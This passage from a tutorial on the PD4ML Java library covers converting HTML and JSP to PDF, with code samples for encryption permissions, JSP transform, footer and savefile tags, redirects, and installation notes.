&lt;li&gt;AllowCopy&lt;/li&gt;
&lt;li&gt;AllowDegradedPrint&lt;/li&gt;
&lt;li&gt;AllowModify&lt;/li&gt;
&lt;li&gt;AllowPrint&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The PDF document produced by PD4ML can be protected with 40-bit or
128-bit encryption using the various Permission levels given above.&lt;/p&gt;
&lt;div class="sourceCode" id="cb5"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb5-1"&gt;&lt;a aria-hidden="true" href="#cb5-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;String&lt;/span&gt; password &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="st"&gt;"empty"&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-2"&gt;&lt;a aria-hidden="true" href="#cb5-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="dt"&gt;boolean&lt;/span&gt; strongEncryption &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;true&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-3"&gt;&lt;a aria-hidden="true" href="#cb5-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="dt"&gt;int&lt;/span&gt; permissions &lt;span class="op"&gt;=&lt;/span&gt; PD4Constants&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;AllowPrint&lt;/span&gt; &lt;span class="op"&gt;|&lt;/span&gt; PD4Constants&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;AllowCopy&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-4"&gt;&lt;a aria-hidden="true" href="#cb5-4" tabindex="-1"&gt;&lt;/a&gt;pd4ml&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setPermissions&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; password&lt;span class="op"&gt;,&lt;/span&gt; permissions&lt;span class="op"&gt;,&lt;/span&gt; strongEncryption &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Some of the other salient Features that are available with PD4ML
are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Converting HTML headings or named anchors to PDF bookmarks&lt;/li&gt;
&lt;li&gt;Named anchors&lt;/li&gt;
&lt;li&gt;Inserting page breaks&lt;/li&gt;
&lt;li&gt;generating and sending PDF by email&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="using-pd4ml-in-web-applications-for-online-pdf-generation"&gt;Using
PD4ML in Web applications for online PDF generation&lt;/h3&gt;
&lt;p&gt;PD4ML can be used in Web applications for online PDF generation from
HTML, JSP and Servlet templates. A simple example is given below:&lt;/p&gt;
&lt;div class="sourceCode" id="cb6"&gt;&lt;pre class="sourceCode html"&gt;&lt;code class="sourceCode html"&gt;&lt;span id="cb6-1"&gt;&lt;a aria-hidden="true" href="#cb6-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;taglib&lt;/span&gt;&lt;span class="ot"&gt; uri&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"http://pd4ml.com/tlds/pd4ml/2.5"&lt;/span&gt;&lt;span class="ot"&gt; prefix&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"pd4ml"&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-2"&gt;&lt;a aria-hidden="true" href="#cb6-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;page&lt;/span&gt;&lt;span class="ot"&gt; contentType&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"text/html; charset=UTF-8"&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-3"&gt;&lt;a aria-hidden="true" href="#cb6-3" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb6-4"&gt;&lt;a aria-hidden="true" href="#cb6-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;pd4ml:transform&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-5"&gt;&lt;a aria-hidden="true" href="#cb6-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      screenWidth&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"400"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-6"&gt;&lt;a aria-hidden="true" href="#cb6-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      pageFormat&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"A5"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-7"&gt;&lt;a aria-hidden="true" href="#cb6-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      pageOrientation&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"landscape"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-8"&gt;&lt;a aria-hidden="true" href="#cb6-8" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      pageInsets&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"100,100,100,100,points"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-9"&gt;&lt;a aria-hidden="true" href="#cb6-9" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      enableImageSplit&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"false"&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-10"&gt;&lt;a aria-hidden="true" href="#cb6-10" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb6-11"&gt;&lt;a aria-hidden="true" href="#cb6-11" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;html&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-12"&gt;&lt;a aria-hidden="true" href="#cb6-12" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;head&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-13"&gt;&lt;a aria-hidden="true" href="#cb6-13" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;title&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;pd4ml test&lt;span class="dt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="kw"&gt;title&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-14"&gt;&lt;a aria-hidden="true" href="#cb6-14" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;style&lt;/span&gt;&lt;span class="ot"&gt; type&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"text/css"&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-15"&gt;&lt;a aria-hidden="true" href="#cb6-15" tabindex="-1"&gt;&lt;/a&gt;                  body {&lt;/span&gt;
&lt;span id="cb6-16"&gt;&lt;a aria-hidden="true" href="#cb6-16" tabindex="-1"&gt;&lt;/a&gt;                        &lt;span class="kw"&gt;color&lt;/span&gt;&lt;span class="ch"&gt;:&lt;/span&gt; &lt;span class="cn"&gt;red&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-17"&gt;&lt;a aria-hidden="true" href="#cb6-17" tabindex="-1"&gt;&lt;/a&gt;                        &lt;span class="kw"&gt;background-color&lt;/span&gt;&lt;span class="ch"&gt;:&lt;/span&gt; &lt;span class="cn"&gt;#FFFFFF&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-18"&gt;&lt;a aria-hidden="true" href="#cb6-18" tabindex="-1"&gt;&lt;/a&gt;                        &lt;span class="kw"&gt;font-family&lt;/span&gt;&lt;span class="ch"&gt;:&lt;/span&gt; &lt;span class="dv"&gt;Tahoma&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="st"&gt;"Sans-Serif"&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-19"&gt;&lt;a aria-hidden="true" href="#cb6-19" tabindex="-1"&gt;&lt;/a&gt;                        &lt;span class="kw"&gt;font-size&lt;/span&gt;&lt;span class="ch"&gt;:&lt;/span&gt; &lt;span class="dv"&gt;10&lt;/span&gt;&lt;span class="dt"&gt;pt&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-20"&gt;&lt;a aria-hidden="true" href="#cb6-20" tabindex="-1"&gt;&lt;/a&gt;                  }&lt;/span&gt;
&lt;span id="cb6-21"&gt;&lt;a aria-hidden="true" href="#cb6-21" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="kw"&gt;style&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-22"&gt;&lt;a aria-hidden="true" href="#cb6-22" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="dt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="kw"&gt;head&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-23"&gt;&lt;a aria-hidden="true" href="#cb6-23" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;body&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-24"&gt;&lt;a aria-hidden="true" href="#cb6-24" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;img&lt;/span&gt;&lt;span class="ot"&gt; src&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"images/logos.gif"&lt;/span&gt;&lt;span class="ot"&gt; width&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"125"&lt;/span&gt;&lt;span class="ot"&gt; height&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"74"&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-25"&gt;&lt;a aria-hidden="true" href="#cb6-25" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;p&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-26"&gt;&lt;a aria-hidden="true" href="#cb6-26" tabindex="-1"&gt;&lt;/a&gt;            Hello, World!&lt;/span&gt;
&lt;span id="cb6-27"&gt;&lt;a aria-hidden="true" href="#cb6-27" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;pd4ml:page.break&lt;/span&gt;&lt;span class="dt"&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-28"&gt;&lt;a aria-hidden="true" href="#cb6-28" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;table&lt;/span&gt;&lt;span class="ot"&gt; width&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"100%"&lt;/span&gt;&lt;span class="ot"&gt; style&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"background-color: #f4f4f4; color: #000000"&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-29"&gt;&lt;a aria-hidden="true" href="#cb6-29" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;tr&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-30"&gt;&lt;a aria-hidden="true" href="#cb6-30" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;td&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-31"&gt;&lt;a aria-hidden="true" href="#cb6-31" tabindex="-1"&gt;&lt;/a&gt;                  Hello, New Page!&lt;/span&gt;
&lt;span id="cb6-32"&gt;&lt;a aria-hidden="true" href="#cb6-32" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="kw"&gt;td&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-33"&gt;&lt;a aria-hidden="true" href="#cb6-33" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="kw"&gt;tr&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-34"&gt;&lt;a aria-hidden="true" href="#cb6-34" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="dt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="kw"&gt;table&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-35"&gt;&lt;a aria-hidden="true" href="#cb6-35" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="dt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="kw"&gt;body&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-36"&gt;&lt;a aria-hidden="true" href="#cb6-36" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="dt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="kw"&gt;html&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-37"&gt;&lt;a aria-hidden="true" href="#cb6-37" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="dt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="kw"&gt;pd4ml:transform&lt;/span&gt;&lt;span class="dt"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In order to get a PDF output, we need to surround the HTML or JSP
with &lt;pd4ml:transform&gt; tags or refer to the markup from an external
PD4ML-enabled JSP or Servlets.&lt;/pd4ml:transform&gt;&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;PD4ML JSP taglib declaration and opening transform tag. JSP content
surrounded with &lt;code&gt;&amp;lt;pd4ml:transform&amp;gt;&lt;/code&gt; and
&lt;code&gt;&amp;lt;/pd4ml:transform&amp;gt;&lt;/code&gt; tags is passed to the PD4ML
converter.&lt;/li&gt;
&lt;li&gt;Image should be referenced with relative path. Absolute URLs, like
&lt;code&gt;src="http://myserver:80/path/to/img.gif"&lt;/code&gt; are allowed as
well, but &lt;code&gt;src="/path/to/img.gif"&lt;/code&gt; is not allowed.&lt;/li&gt;
&lt;li&gt;The directive forces PD4ML converter to insert a page break to the
output PDF.&lt;/li&gt;
&lt;li&gt;Closing of the transformation tag. Any content that appears after
the tag is ignored.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;####Defining PDF document footer (or header) with JSP custom tag The
header and/or footer for the PDF can be declared in the jsp in the
following fashion.&lt;/p&gt;
&lt;div class="sourceCode" id="cb7"&gt;&lt;pre class="sourceCode html"&gt;&lt;code class="sourceCode html"&gt;&lt;span id="cb7-1"&gt;&lt;a aria-hidden="true" href="#cb7-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;pd4ml:footer&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-2"&gt;&lt;a aria-hidden="true" href="#cb7-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      titleTemplate&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"[${title}]"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-3"&gt;&lt;a aria-hidden="true" href="#cb7-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      pageNumberTemplate&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"page ${page}"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-4"&gt;&lt;a aria-hidden="true" href="#cb7-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      titleAlignment&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"left"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-5"&gt;&lt;a aria-hidden="true" href="#cb7-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      pageNumberAlignment&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"right"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-6"&gt;&lt;a aria-hidden="true" href="#cb7-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      color&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"#008000"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-7"&gt;&lt;a aria-hidden="true" href="#cb7-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      initialPageNumber&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"1"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-8"&gt;&lt;a aria-hidden="true" href="#cb7-8" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      pagesToSkip&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"1"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-9"&gt;&lt;a aria-hidden="true" href="#cb7-9" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      fontSize&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"14"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-10"&gt;&lt;a aria-hidden="true" href="#cb7-10" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      areaHeight&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"18"&lt;/span&gt;&lt;span class="dt"&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="description"&gt;Description&lt;/h4&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Title template definition. A string that can optionally contain
placeholders ${title} for a title value taken from HTML’s TITLE tag,
${page} for a page counter value.&lt;/li&gt;
&lt;li&gt;Page number template definition. A string with placeholder ${page}
for a page counter value.&lt;/li&gt;
&lt;li&gt;The attribute initializes internal page counter with the given
value.&lt;/li&gt;
&lt;li&gt;The attribute defines, that 1 page should not contain footer
information.&lt;/li&gt;
&lt;li&gt;Footer area height in points.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="adding-dynamic-data"&gt;Adding Dynamic data&lt;/h4&gt;
&lt;p&gt;Dynamic data like data from session or scriplets can be used in the
PDF generation. A Simple Example is given below.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;% String template = getFormattedDate() + ", page ${page} "; %&amp;gt;
  &amp;lt;pd4ml:footer
      pageNumberTemplate="&amp;lt;%=template%&amp;gt;"
      .......
      /&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means that the entire form generation for Presentation
Frameworks like Struts etc., can be used just like a normal JSP. This
provides a nice demarcation and seamless integration of the presentation
(Format/Layout) of the PDF document and the business behind the
generation&lt;/p&gt;
&lt;p&gt;####Temporary saving generated PDF to hard drive With
&lt;code&gt;&amp;lt;pd4ml:savefile&amp;gt;&lt;/code&gt; tag you have possibility to store
just generated PDF to hard drive and redirect user’s browser to read the
PDF as static resource or to redirect the request to another URL for PDF
post-processing. The tag should be nested within
&lt;code&gt;&amp;lt;pd4ml:transform&amp;gt;&lt;/code&gt; and should not have a body.There
are two ways of generating the PDF and redirecting the browser.&lt;/p&gt;
&lt;p&gt;####Routing the browser to the PDF generated Once the PDF is
generated the user can be directed to the generated PDF using the
following piece of code.&lt;/p&gt;
&lt;div class="sourceCode" id="cb9"&gt;&lt;pre class="sourceCode html"&gt;&lt;code class="sourceCode html"&gt;&lt;span id="cb9-1"&gt;&lt;a aria-hidden="true" href="#cb9-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;pd4ml:savefile&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb9-2"&gt;&lt;a aria-hidden="true" href="#cb9-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      uri&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"/WEB/savefile/saved/"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb9-3"&gt;&lt;a aria-hidden="true" href="#cb9-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      dir&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"D:/spool/generated_pdfs"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb9-4"&gt;&lt;a aria-hidden="true" href="#cb9-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      redirect&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"pdf"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb9-5"&gt;&lt;a aria-hidden="true" href="#cb9-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      debug&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"false"&lt;/span&gt;&lt;span class="dt"&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The tag above forces PD4ML to save the generated PDF to
D:/spool/generated_pdfs with an autogenerated name.It is expected, that
local directory D:/spool/generated_pdfs corresponds to URL
&lt;code&gt;http://yourserver.com/WEB/savefile/saved/&lt;/code&gt; (as given in
“uri” attribute)&lt;/p&gt;
&lt;p&gt;After generation PD4ML will send to client’s browser a redirect
command with URL like that:
&lt;code&gt;http://yourserver.com/WEB/savefile/saved/generated_name.pdf&lt;/code&gt;
where,&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://yourserver.com&lt;/code&gt; - Context path&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/WEB/savefile/saved&lt;/code&gt; - URI given&lt;/p&gt;
&lt;p&gt;&lt;code&gt;generated_name.pdf&lt;/code&gt; - Auto generated file Name&lt;/p&gt;
&lt;h4 id="routing-the-browser-to-the-next-page"&gt;Routing the browser to the
next page&lt;/h4&gt;
&lt;p&gt;However if the browser needs to be redirected to the next page
instead of the PDF generated, it can be done in the following way.&lt;/p&gt;
&lt;div class="sourceCode" id="cb10"&gt;&lt;pre class="sourceCode html"&gt;&lt;code class="sourceCode html"&gt;&lt;span id="cb10-1"&gt;&lt;a aria-hidden="true" href="#cb10-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="dt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kw"&gt;pd4ml:savefile&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb10-2"&gt;&lt;a aria-hidden="true" href="#cb10-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      dir&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"D:/spool/generated_pdfs"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb10-3"&gt;&lt;a aria-hidden="true" href="#cb10-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      redirect&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"/mywebapp/send_pdf_by_email.jsp"&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb10-4"&gt;&lt;a aria-hidden="true" href="#cb10-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="ot"&gt;      debug&lt;/span&gt;&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="st"&gt;"false"&lt;/span&gt;&lt;span class="dt"&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The tag above forces PD4ML to save the generated PDF to
D:/spool/generated_pdfs with an auto generated name. After that it
forwards to /mywebapp/send_pdf_by_email.jsp with a REQUEST parameter
filename=&lt;code&gt;&amp;lt;pdfname&amp;gt;&lt;/code&gt;. So send_pdf_by_email.jsp can read
file name using,&lt;/p&gt;
&lt;div class="sourceCode" id="cb11"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb11-1"&gt;&lt;a aria-hidden="true" href="#cb11-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;String&lt;/span&gt; fileName &lt;span class="op"&gt;=&lt;/span&gt; request&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getParameter&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"filename"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb11-2"&gt;&lt;a aria-hidden="true" href="#cb11-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//Building the full path of the PDF generated&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb11-3"&gt;&lt;a aria-hidden="true" href="#cb11-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;String&lt;/span&gt; path &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="st"&gt;"D:/spool/generated_pdfs"&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; &lt;span class="st"&gt;"/"&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; fileName&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Hence that JSP can read the just-generated PDF file and and perform
post-processing or any other actions (like E-mail or File-Upload).&lt;/p&gt;
&lt;p&gt;In both cases above you can predefine PDF file name with “name”
attribute. If a file with the name is already exists in
D:/spool/generated_pdfs, than the new file name is appended with an
auto-incremented numeric value.&lt;/p&gt;
&lt;h3 id="instructions-for-installation"&gt;Instructions for
Installation&lt;/h3&gt;
&lt;p&gt;PD4ML is intended to be used with JDK1.3.1 and above .For deploying
PD4ML as either Console application and for online generation, use the
following jars available at the PD4ML site (Given in the references) •
pd4ml.jar • pd4ml_tl.jar(for the tag library)&lt;/p&gt;
&lt;h4 id="professional-version-features"&gt;Professional Version
Features&lt;/h4&gt;
&lt;p&gt;Apart from the various features discussed above, the licensed
professional version includes lots of additional features such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TTF embedding&lt;/li&gt;
&lt;li&gt;Configuring Fonts directory&lt;/li&gt;
&lt;li&gt;Embedding fonts to PDF from Java API&lt;/li&gt;
&lt;li&gt;Embedding fonts to PDF from JSP&lt;/li&gt;
&lt;li&gt;Watermark images&lt;/li&gt;
&lt;li&gt;Table of contents&lt;/li&gt;
&lt;li&gt;General notes&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="other-libraries"&gt;Other libraries&lt;/h4&gt;
&lt;p&gt;Few other libraries that are available for PDF generation are &lt;a href="http://xmlgraphics.apache.org/fop/"&gt;Apache FOP&lt;/a&gt; and &lt;a href="http://itextpdf.com/functionality"&gt;iText&lt;/a&gt;&lt;/p&gt;
